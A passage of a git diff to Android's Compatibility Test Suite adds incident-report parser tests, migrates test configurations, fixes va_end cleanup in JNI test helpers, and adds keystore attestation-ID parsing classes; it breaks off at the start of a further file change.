@@ -1,36 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.input.cts.tests;
-
-import android.util.Log;
-import android.view.KeyEvent;
-
-import java.io.Writer;
-import java.util.List;
-
-import android.hardware.cts.R;
-
-public class GamepadTestCase extends InputTestCase {
-    private static final String TAG = "GamepadTests";
-
-    public void testButtonA() throws Exception {
-        sendHidCommands(R.raw.gamepad_press_a);
-        assertReceivedKeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BUTTON_A);
-        assertReceivedKeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_BUTTON_A);
-        assertNoMoreEvents();
-    }
-}
diff --git a/tests/tests/icu/AndroidTest.xml b/tests/tests/icu/AndroidTest.xml
index 2dc1cb3..53a6efd 100644
--- a/tests/tests/icu/AndroidTest.xml
+++ b/tests/tests/icu/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2015 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS ICU test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsIcuTestCases.apk" />
     </target_preparer>
@@ -22,6 +24,6 @@
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/android/icu/cts/expectations/icu-known-failures.txt" />
-        <option name="runtime-hint" value="30m19s" />
+        <option name="runtime-hint" value="18m30s" />
     </test>
 </configuration>
diff --git a/tests/tests/incident/Android.mk b/tests/tests/incident/Android.mk
new file mode 100644
index 0000000..7d07ec0
--- /dev/null
+++ b/tests/tests/incident/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsIncidentTestCases
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+#LOCAL_SDK_VERSION := current
+LOCAL_JAVA_LIBRARIES += android.test.runner
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+        ctstestrunner
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/incident/AndroidManifest.xml b/tests/tests/incident/AndroidManifest.xml
new file mode 100644
index 0000000..5b7631c
--- /dev/null
+++ b/tests/tests/incident/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.incident.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".Whatever" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.os.incident.cts"
+                     android:label="CTS tests of android.os incident reporting">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/incident/AndroidTest.xml b/tests/tests/incident/AndroidTest.xml
new file mode 100644
index 0000000..e61f381
--- /dev/null
+++ b/tests/tests/incident/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration for Incident Tests">
+    <option name="config-descriptor:metadata" key="component" value="metrics" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsIncidentTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.os.incident.cts" />
+        <option name="runtime-hint" value="5s" />
+    </test>
+</configuration>
diff --git a/tests/tests/incident/src/android/os/cts/IncidentSettingFormatTest.java b/tests/tests/incident/src/android/os/cts/IncidentSettingFormatTest.java
new file mode 100644
index 0000000..57d26a1
--- /dev/null
+++ b/tests/tests/incident/src/android/os/cts/IncidentSettingFormatTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.incident.cts;
+
+import android.os.IncidentReportArgs;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the parsing of the string IncidentReportArgs format.
+ */
+public class IncidentSettingFormatTest extends TestCase {
+    private static final String TAG = "IncidentSettingFormatTest";
+
+    public void testNull() throws Exception {
+        final IncidentReportArgs args = IncidentReportArgs.parseSetting(null);
+        assertNull(args);
+    }
+
+    public void testEmpty() throws Exception {
+        final IncidentReportArgs args = IncidentReportArgs.parseSetting("");
+        assertNull(args);
+    }
+
+    public void testSpaces() throws Exception {
+        final IncidentReportArgs args = IncidentReportArgs.parseSetting(" \r\n\t");
+        assertNull(args);
+    }
+
+    public void testDisabled() throws Exception {
+        final IncidentReportArgs args = IncidentReportArgs.parseSetting(" disabled ");
+        assertNull(args);
+    }
+
+    public void testAll() throws Exception {
+        final IncidentReportArgs args = IncidentReportArgs.parseSetting(" all ");
+        assertTrue(args.isAll());
+    }
+
+    public void testNone() throws Exception {
+        final IncidentReportArgs args = IncidentReportArgs.parseSetting(" none ");
+        assertFalse(args.isAll());
+        assertEquals(0, args.sectionCount());
+    }
+
+    public void testOne() throws Exception {
+        final IncidentReportArgs args = IncidentReportArgs.parseSetting(" 1 ");
+        assertFalse(args.isAll());
+        assertEquals(1, args.sectionCount());
+        assertTrue(args.containsSection(1));
+    }
+
+    public void testSeveral() throws Exception {
+        final IncidentReportArgs args = IncidentReportArgs.parseSetting(" 1, 2, , 3,4,5, 6, 78, ");
+        assertFalse(args.isAll());
+        assertEquals(7, args.sectionCount());
+        assertTrue(args.containsSection(1));
+        assertTrue(args.containsSection(2));
+        assertTrue(args.containsSection(3));
+        assertTrue(args.containsSection(4));
+        assertTrue(args.containsSection(5));
+        assertTrue(args.containsSection(6));
+        assertTrue(args.containsSection(78));
+    }
+
+    public void testZero() throws Exception {
+        try {
+            final IncidentReportArgs args = IncidentReportArgs.parseSetting(" 0 ");
+            throw new RuntimeException("parseSetting(\" 0 \") should fail with"
+                    + " IllegalArgumentException");
+        } catch (IllegalArgumentException ex) {
+        }
+    }
+
+    public void testNegative() throws Exception {
+        try {
+            final IncidentReportArgs args = IncidentReportArgs.parseSetting(" -1 ");
+            throw new RuntimeException("parseSetting(\" -1 \") should fail with"
+                    + " IllegalArgumentException");
+        } catch (IllegalArgumentException ex) {
+        }
+    }
+
+}
diff --git a/tests/tests/incident/src/android/os/cts/IncidentTests.java b/tests/tests/incident/src/android/os/cts/IncidentTests.java
new file mode 100644
index 0000000..0718738
--- /dev/null
+++ b/tests/tests/incident/src/android/os/cts/IncidentTests.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.incident.cts;
+
+import junit.framework.TestSuite;
+
+public class IncidentTests {
+    public static TestSuite suite() {
+        TestSuite suite = new TestSuite(IncidentTests.class.getName());
+
+        suite.addTestSuite(IncidentSettingFormatTest.class);
+
+        return suite;
+    }
+}
diff --git a/tests/tests/jni/Android.mk b/tests/tests/jni/Android.mk
index d62a97e..7672d2f 100644
--- a/tests/tests/jni/Android.mk
+++ b/tests/tests/jni/Android.mk
@@ -30,7 +30,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 
 LOCAL_JNI_SHARED_LIBRARIES := \
   libjninamespacea1 \
diff --git a/tests/tests/jni/AndroidTest.xml b/tests/tests/jni/AndroidTest.xml
index 8ec1df6..84cf235 100644
--- a/tests/tests/jni/AndroidTest.xml
+++ b/tests/tests/jni/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JNI test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJniTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.jni.cts" />
+        <option name="runtime-hint" value="12m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/jni/libjnitest/helper.c b/tests/tests/jni/libjnitest/helper.c
index 8f7f2f8..2281795 100644
--- a/tests/tests/jni/libjnitest/helper.c
+++ b/tests/tests/jni/libjnitest/helper.c
@@ -70,6 +70,7 @@
             free(result);
             if (newResult == NULL) {
                 // Shouldn't happen, but deal as gracefully as possible.
+                va_end(args);
                 return NULL;
             }
             result = newResult;
diff --git a/tests/tests/jni/libjnitest/macroized_tests.c b/tests/tests/jni/libjnitest/macroized_tests.c
index 76b5481..130b378 100644
--- a/tests/tests/jni/libjnitest/macroized_tests.c
+++ b/tests/tests/jni/libjnitest/macroized_tests.c
@@ -192,6 +192,7 @@
             "returnBoolean", "()Z");
 
     if (method == NULL) {
+        va_end(args);
         return msg;
     }
 
@@ -240,6 +241,7 @@
             break;
         }
         default: {
+            va_end(args);
             return failure("shouldn't happen");
         }
     }
@@ -295,6 +297,7 @@
             "returnByte", "()B");
 
     if (method == NULL) {
+        va_end(args);
         return msg;
     }
 
@@ -343,6 +346,7 @@
             break;
         }
         default: {
+            va_end(args);
             return failure("shouldn't happen");
         }
     }
@@ -398,6 +402,7 @@
             "returnShort", "()S");
 
     if (method == NULL) {
+        va_end(args);
         return msg;
     }
 
@@ -446,6 +451,7 @@
             break;
         }
         default: {
+            va_end(args);
             return failure("shouldn't happen");
         }
     }
@@ -501,6 +507,7 @@
             "returnChar", "()C");
 
     if (method == NULL) {
+        va_end(args);
         return msg;
     }
 
@@ -549,6 +556,7 @@
             break;
         }
         default: {
+            va_end(args);
             return failure("shouldn't happen");
         }
     }
@@ -604,6 +612,7 @@
             "returnInt", "()I");
 
     if (method == NULL) {
+        va_end(args);
         return msg;
     }
 
@@ -652,6 +661,7 @@
             break;
         }
         default: {
+            va_end(args);
             return failure("shouldn't happen");
         }
     }
@@ -707,6 +717,7 @@
             "returnLong", "()J");
 
     if (method == NULL) {
+        va_end(args);
         return msg;
     }
 
@@ -755,6 +766,7 @@
             break;
         }
         default: {
+            va_end(args);
             return failure("shouldn't happen");
         }
     }
@@ -810,6 +822,7 @@
             "returnFloat", "()F");
 
     if (method == NULL) {
+        va_end(args);
         return msg;
     }
 
@@ -858,6 +871,7 @@
             break;
         }
         default: {
+            va_end(args);
             return failure("shouldn't happen");
         }
     }
@@ -913,6 +927,7 @@
             "returnDouble", "()D");
 
     if (method == NULL) {
+        va_end(args);
         return msg;
     }
 
@@ -961,6 +976,7 @@
             break;
         }
         default: {
+            va_end(args);
             return failure("shouldn't happen");
         }
     }
@@ -1016,6 +1032,7 @@
             "nop", "()V");
 
     if (method == NULL) {
+        va_end(args);
         return msg;
     }
 
@@ -1064,6 +1081,7 @@
             break;
         }
         default: {
+            va_end(args);
             return failure("shouldn't happen");
         }
     }
@@ -1119,6 +1137,7 @@
             "returnString", "()Ljava/lang/String;");
 
     if (method == NULL) {
+        va_end(args);
         return msg;
     }
 
@@ -1171,6 +1190,7 @@
             break;
         }
         default: {
+            va_end(args);
             return failure("shouldn't happen");
         }
     }
@@ -1240,6 +1260,7 @@
             "takeOneOfEach", "(DFJICSBZLjava/lang/String;)Z");
 
     if (method == NULL) {
+        va_end(args);
         return msg;
     }
 
@@ -1299,6 +1320,7 @@
             break;
         }
         default: {
+            va_end(args);
             return failure("shouldn't happen");
         }
     }
@@ -1361,6 +1383,7 @@
             "(IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII)Z");
 
     if (method == NULL) {
+        va_end(args);
         return msg;
     }
 
@@ -1441,6 +1464,7 @@
             break;
         }
         default: {
+            va_end(args);
             return failure("shouldn't happen");
         }
     }
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 754e6b2..bd524d2 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -34,9 +34,10 @@
 class LinkerNamespacesHelper {
     private final static String VENDOR_CONFIG_FILE = "/vendor/etc/public.libraries.txt";
     private final static String[] PUBLIC_SYSTEM_LIBRARIES = {
+        "libaaudio.so",
         "libandroid.so",
-        "libcamera2ndk.so",
         "libc.so",
+        "libcamera2ndk.so",
         "libdl.so",
         "libEGL.so",
         "libGLESv1_CM.so",
@@ -48,10 +49,12 @@
         "liblog.so",
         "libmediandk.so",
         "libm.so",
+        "libnativewindow.so",
         "libOpenMAXAL.so",
         "libOpenSLES.so",
         "libRS.so",
         "libstdc++.so",
+        "libsync.so",
         "libvulkan.so",
         "libz.so"
     };
diff --git a/tests/tests/keystore/Android.mk b/tests/tests/keystore/Android.mk
index 58a4894..ae1b804 100644
--- a/tests/tests/keystore/Android.mk
+++ b/tests/tests/keystore/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
         android-support-test \
         core-tests-support \
-        ctsdeviceutil \
+        compatibility-device-util \
         ctstestrunner \
         guava \
         junit \
diff --git a/tests/tests/keystore/AndroidTest.xml b/tests/tests/keystore/AndroidTest.xml
index 41b8541..87913ed 100644
--- a/tests/tests/keystore/AndroidTest.xml
+++ b/tests/tests/keystore/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Keystore test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsKeystoreTestCases.apk" />
     </target_preparer>
@@ -24,4 +25,4 @@
         <!-- test-timeout unit is ms, value = 10 min -->
         <option name="test-timeout" value="600000" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index 1d2a540..ba74804 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -2478,6 +2478,8 @@
 
         KeyProtection params = new KeyProtection.Builder(
                 KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
+                .setBlockModes(KeyProperties.BLOCK_MODE_CBC)
+                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
                 .build();
         String alias = "test1";
         mKeyStore.deleteEntry(alias);
@@ -2518,7 +2520,7 @@
             if (!TestUtils.isHmacAlgorithm(algorithm)) {
                 continue;
             }
-            for (int keySizeBytes = 0; keySizeBytes <= 1024 / 8; keySizeBytes++) {
+            for (int keySizeBytes = 8; keySizeBytes <= 1024 / 8; keySizeBytes++) {
                 try {
                     KeyStore.SecretKeyEntry entry = new KeyStore.SecretKeyEntry(
                             new TransparentSecretKey(new byte[keySizeBytes], algorithm));
diff --git a/tests/tests/keystore/src/android/keystore/cts/Asn1Utils.java b/tests/tests/keystore/src/android/keystore/cts/Asn1Utils.java
index 131dbcd..5e75fa7 100644
--- a/tests/tests/keystore/src/android/keystore/cts/Asn1Utils.java
+++ b/tests/tests/keystore/src/android/keystore/cts/Asn1Utils.java
@@ -30,6 +30,8 @@
 import com.android.org.bouncycastle.asn1.DEROctetString;
 
 import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.lang.String;
 import java.math.BigInteger;
 import java.security.cert.CertificateParsingException;
 import java.util.Date;
@@ -68,6 +70,15 @@
         return derOctectString.getOctets();
     }
 
+    public static ASN1Encodable getAsn1EncodableFromBytes(byte[] bytes)
+            throws CertificateParsingException {
+        try (ASN1InputStream asn1InputStream = new ASN1InputStream(bytes)) {
+            return asn1InputStream.readObject();
+        } catch (IOException e) {
+            throw new CertificateParsingException("Failed to parse Encodable", e);
+        }
+    }
+
     public static ASN1Sequence getAsn1SequenceFromBytes(byte[] bytes)
             throws CertificateParsingException {
         try (ASN1InputStream asn1InputStream = new ASN1InputStream(bytes)) {
@@ -109,6 +120,17 @@
         return builder.build();
     }
 
+    public static String getStringFromAsn1OctetStreamAssumingUTF8(ASN1Encodable encodable)
+            throws CertificateParsingException, UnsupportedEncodingException {
+        if (!(encodable instanceof ASN1OctetString)) {
+            throw new CertificateParsingException(
+                    "Expected octet string, found " + encodable.getClass().getName());
+        }
+
+        ASN1OctetString octetString = (ASN1OctetString) encodable;
+        return new String(octetString.getOctets(), "UTF-8");
+    }
+
     public static Date getDateFromAsn1(ASN1Primitive value) throws CertificateParsingException {
         return new Date(getLongFromAsn1(value));
     }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AttestationApplicationId.java b/tests/tests/keystore/src/android/keystore/cts/AttestationApplicationId.java
new file mode 100644
index 0000000..42f8ea7
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/AttestationApplicationId.java
@@ -0,0 +1,182 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.keystore.cts;
+
+import com.android.org.bouncycastle.asn1.ASN1Encodable;
+import com.android.org.bouncycastle.asn1.ASN1Sequence;
+import com.android.org.bouncycastle.asn1.ASN1Set;
+
+import java.security.cert.CertificateParsingException;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.ArrayList;
+import java.util.List;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.content.pm.Signature;
+
+public class AttestationApplicationId implements java.lang.Comparable<AttestationApplicationId> {
+    private static final int PACKAGE_INFOS_INDEX = 0;
+    private static final int SIGNATURE_DIGESTS_INDEX = 1;
+
+    private final List<AttestationPackageInfo> packageInfos;
+    private final List<byte[]> signatureDigests;
+
+    public AttestationApplicationId(Context context)
+            throws NoSuchAlgorithmException, NameNotFoundException {
+        PackageManager pm = context.getPackageManager();
+        int uid = context.getApplicationInfo().uid;
+        String[] packageNames = pm.getPackagesForUid(uid);
+        if (packageNames == null || packageNames.length == 0) {
+            throw new NameNotFoundException("No names found for uid");
+        }
+        packageInfos = new ArrayList<AttestationPackageInfo>();
+        for (String packageName : packageNames) {
+            // get the package info for the given package name including
+            // the signatures
+            PackageInfo packageInfo = pm.getPackageInfo(packageName, 0);
+            packageInfos.add(new AttestationPackageInfo(packageName, packageInfo.versionCode));
+        }
+        // The infos must be sorted, the implementation of Comparable relies on it.
+        packageInfos.sort(null);
+
+        // compute the sha256 digests of the signature blobs
+        signatureDigests = new ArrayList<byte[]>();
+        PackageInfo packageInfo = pm.getPackageInfo(packageNames[0], PackageManager.GET_SIGNATURES);
+        for (Signature signature : packageInfo.signatures) {
+            MessageDigest sha256 = MessageDigest.getInstance("SHA-256");
+            signatureDigests.add(sha256.digest(signature.toByteArray()));
+        }
+        // The digests must be sorted. the implementation of Comparable relies on it
+        signatureDigests.sort(new ByteArrayComparator());
+    }
+
+    public AttestationApplicationId(ASN1Encodable asn1Encodable)
+            throws CertificateParsingException {
+        if (!(asn1Encodable instanceof ASN1Sequence)) {
+            throw new CertificateParsingException(
+                    "Expected sequence for AttestationApplicationId, found "
+                            + asn1Encodable.getClass().getName());
+        }
+
+        ASN1Sequence sequence = (ASN1Sequence) asn1Encodable;
+        packageInfos = parseAttestationPackageInfos(sequence.getObjectAt(PACKAGE_INFOS_INDEX));
+        // The infos must be sorted, the implementation of Comparable relies on it.
+        packageInfos.sort(null);
+        signatureDigests = parseSignatures(sequence.getObjectAt(SIGNATURE_DIGESTS_INDEX));
+        // The digests must be sorted. the implementation of Comparable relies on it
+        signatureDigests.sort(new ByteArrayComparator());
+    }
+
+    public List<AttestationPackageInfo> getAttestationPackageInfos() {
+        return packageInfos;
+    }
+
+    public List<byte[]> getSignatureDigests() {
+        return signatureDigests;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder sb = new StringBuilder();
+        sb.append("AttestationApplicationId:");
+        int noOfInfos = packageInfos.size();
+        int i = 1;
+        for (AttestationPackageInfo info : packageInfos) {
+            sb.append("\n### Package info " + i + "/" + noOfInfos + " ###\n");
+            sb.append(info);
+        }
+        i = 1;
+        int noOfSigs = signatureDigests.size();
+        for (byte[] sig : signatureDigests) {
+            sb.append("\nSignature digest " + i++ + "/" + noOfSigs + ":");
+            for (byte b : sig) {
+                sb.append(String.format(" %02X", b));
+            }
+        }
+        return sb.toString();
+    }
+
+    @Override
+    public int compareTo(AttestationApplicationId other) {
+        int res = Integer.compare(packageInfos.size(), other.packageInfos.size());
+        if (res != 0) return res;
+        for (int i = 0; i < packageInfos.size(); ++i) {
+            res = packageInfos.get(i).compareTo(other.packageInfos.get(i));
+            if (res != 0) return res;
+        }
+        res = Integer.compare(signatureDigests.size(), other.signatureDigests.size());
+        if (res != 0) return res;
+        ByteArrayComparator cmp = new ByteArrayComparator();
+        for (int i = 0; i < signatureDigests.size(); ++i) {
+            res = cmp.compare(signatureDigests.get(i), other.signatureDigests.get(i));
+            if (res != 0) return res;
+        }
+        return res;
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        return (o instanceof AttestationApplicationId)
+                && (0 == compareTo((AttestationApplicationId) o));
+    }
+
+    private List<AttestationPackageInfo> parseAttestationPackageInfos(ASN1Encodable asn1Encodable)
+            throws CertificateParsingException {
+        if (!(asn1Encodable instanceof ASN1Set)) {
+            throw new CertificateParsingException(
+                    "Expected set for AttestationApplicationsInfos, found "
+                            + asn1Encodable.getClass().getName());
+        }
+
+        ASN1Set set = (ASN1Set) asn1Encodable;
+        List<AttestationPackageInfo> result = new ArrayList<AttestationPackageInfo>();
+        for (ASN1Encodable e : set) {
+            result.add(new AttestationPackageInfo(e));
+        }
+        return result;
+    }
+
+    private List<byte[]> parseSignatures(ASN1Encodable asn1Encodable)
+            throws CertificateParsingException {
+        if (!(asn1Encodable instanceof ASN1Set)) {
+            throw new CertificateParsingException("Expected set for Signature digests, found "
+                    + asn1Encodable.getClass().getName());
+        }
+
+        ASN1Set set = (ASN1Set) asn1Encodable;
+        List<byte[]> result = new ArrayList<byte[]>();
+
+        for (ASN1Encodable e : set) {
+            result.add(Asn1Utils.getByteArrayFromAsn1(e));
+        }
+        return result;
+    }
+
+    private class ByteArrayComparator implements java.util.Comparator<byte[]> {
+        @Override
+        public int compare(byte[] a, byte[] b) {
+            int res = Integer.compare(a.length, b.length);
+            if (res != 0) return res;
+            for (int i = 0; i < a.length; ++i) {
+                res = Byte.compare(a[i], b[i]);
+                if (res != 0) return res;
+            }
+            return res;
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/AttestationPackageInfo.java b/tests/tests/keystore/src/android/keystore/cts/AttestationPackageInfo.java
new file mode 100644
index 0000000..294fda8
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/AttestationPackageInfo.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.keystore.cts;
+
+import com.android.org.bouncycastle.asn1.ASN1Encodable;
+import com.android.org.bouncycastle.asn1.ASN1Sequence;
+
+import java.security.cert.CertificateParsingException;
+
+import java.io.UnsupportedEncodingException;
+
+public class AttestationPackageInfo implements java.lang.Comparable<AttestationPackageInfo> {
+    private static final int PACKAGE_NAME_INDEX = 0;
+    private static final int VERSION_INDEX = 1;
+
+    private final String packageName;
+    private final int version;
+
+    public AttestationPackageInfo(String packageName, int version) {
+        this.packageName = packageName;
+        this.version = version;
+    }
+
+    public AttestationPackageInfo(ASN1Encodable asn1Encodable) throws CertificateParsingException {
+        if (!(asn1Encodable instanceof ASN1Sequence)) {
+            throw new CertificateParsingException(
+                    "Expected sequence for AttestationPackageInfo, found "
+                            + asn1Encodable.getClass().getName());
+        }
+
+        ASN1Sequence sequence = (ASN1Sequence) asn1Encodable;
+        try {
+            packageName = Asn1Utils.getStringFromAsn1OctetStreamAssumingUTF8(
+                    sequence.getObjectAt(PACKAGE_NAME_INDEX));
+        } catch (UnsupportedEncodingException e) {
+            throw new CertificateParsingException(
+                    "Converting octet stream to String triggered an UnsupportedEncodingException",
+                    e);
+        }
+        version = Asn1Utils.getIntegerFromAsn1(sequence.getObjectAt(VERSION_INDEX));
+    }
+
+    public String getPackageName() {
+        return packageName;
+    }
+
+    public int getVersion() {
+        return version;
+    }
+
+    @Override
+    public String toString() {
+        return new StringBuilder().append("Package name: ").append(getPackageName())
+                .append("\nVersion: " + getVersion()).toString();
+    }
+
+    @Override
+    public int compareTo(AttestationPackageInfo other) {
+        int res = packageName.compareTo(other.packageName);
+        if (res != 0) return res;
+        res = Integer.compare(version, other.version);
+        if (res != 0) return res;
+        return res;
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        return (o instanceof AttestationPackageInfo)
+                && (0 == compareTo((AttestationPackageInfo) o));
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/AuthorizationList.java b/tests/tests/keystore/src/android/keystore/cts/AuthorizationList.java
index 36aa6b6..d488b26 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AuthorizationList.java
@@ -32,6 +32,7 @@
